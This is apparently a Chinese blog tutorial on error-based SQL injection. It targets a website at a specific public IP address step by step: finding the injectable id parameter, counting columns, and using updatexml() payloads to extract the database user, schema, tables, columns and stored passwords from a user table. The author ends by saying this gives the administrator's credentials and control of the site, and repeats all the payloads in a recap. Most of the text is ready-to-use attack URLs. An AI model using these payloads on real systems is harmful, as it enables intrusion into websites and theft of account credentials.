SQL报错注入

SQL报错注入

http://117.167.136.240:55580,这个网站为例。

第一步:先找注入点

怎么找注入点?
1.要与后台数据库有联系,有交互
2.可以传入参数,并且可控
在这里插入图片描述
这上面的可以都去点一下试试。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里可以发现点第三个的时候,页面是不变的,id也没变
那我们可以猜测这就是一个注入点(id可传入参数,id=1和id=2时,页面不一样,说明与后台数据库交互了

第二步:确认这就是注入点

怎么确认?
往id后加一个’
http://117.167.136.240:55580/page.php?id=2’
如果报错说明它就是一个注入点
在这里插入图片描述

第三步:进行闭合

往后面加 --+
http://117.167.136.240:55580/page.php?id=2’ --+
在这里插入图片描述
闭合后,页面会正常显示,然后我们就可以在’后–+前加入我们的SQL语句。

第四步:order by 查询字段

一个一个试,先看看20
http://117.167.136.240:55580/page.php?id=2’ order by 20 --+
在这里插入图片描述
报错,说明没有二十个字段,折中试试
http://117.167.136.240:55580/page.php?id=2’ order by 10 --+
在这里插入图片描述
还报错,再折中,以此类推,我们可以发现它有四个字段(回显正常页面)
http://117.167.136.240:55580/page.php?id=2’ order by 4 --+
在这里插入图片描述

进行注入

首先,我们试试常用的union注入
http://117.167.136.240:55580/page.php?id=2’ union select 1,2,3,4 --+
在这里插入图片描述
发现是报错的,所以这里我们不能用union注入,我们使用报错注入,利用函数updatexml()演示SQL语句

报错注入攻击

1.获取user()

http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

在这里插入图片描述
2.获取当前database()

http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

在这里插入图片描述
3.获取数据库名


http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+

在这里插入图片描述

4.获取数据表名(其中的test是表示所获取到的数据库名)

http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= 'sourcecodester_ babycare' limit 0,1),0x7e),1) --+


在这里插入图片描述
这里我们改动limit的参数,来获取我们想要的表。
5.获取列名

http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='sourcecodester_ babycare' and table_name='tb_user' limit 0,1),0x7e),1)--+

在这里插入图片描述
6.获取表内具体数据

http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select password from tb_user limit 0,1),0x7e),1)--+

在这里插入图片描述
这样我们就可以拿到网站管理员的账户和密码,从而拿到网站的权限。

后面再附上笔记

先在网站http://117.167.136.240:55580找到注入点
判断注入点
http://117.167.136.240:55580/page.php?id=1’
进行闭合
http://117.167.136.240:55580/page.php?id=1’ --+
用order by查询字段
http://117.167.136.240:55580/page.php?id=1’ order by 4 --+
查询之后用union进行注入
http://117.167.136.240:55580/page.php?id=1’ union select 1,2,3,4 --+
用union注入发现报错,说明union注入在此网站无法使用
使用报错注入攻击
利用函数updatexml()演示SQL语句
获取user()
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
获取database() 当前数据库的库名
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
获取数据库名
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+
获取数据表名(其中的test是表示所获取到的数据库名)
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= ‘sourcecodester_ babycare’ limit 0,1),0x7e),1) --+
获取列名
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘sourcecodester_ babycare’ and table_name=‘tb_user’ limit 0,1),0x7e),1)–+
查询具体数据
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select password from tb_user limit 0,1),0x7e),1)–+
在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值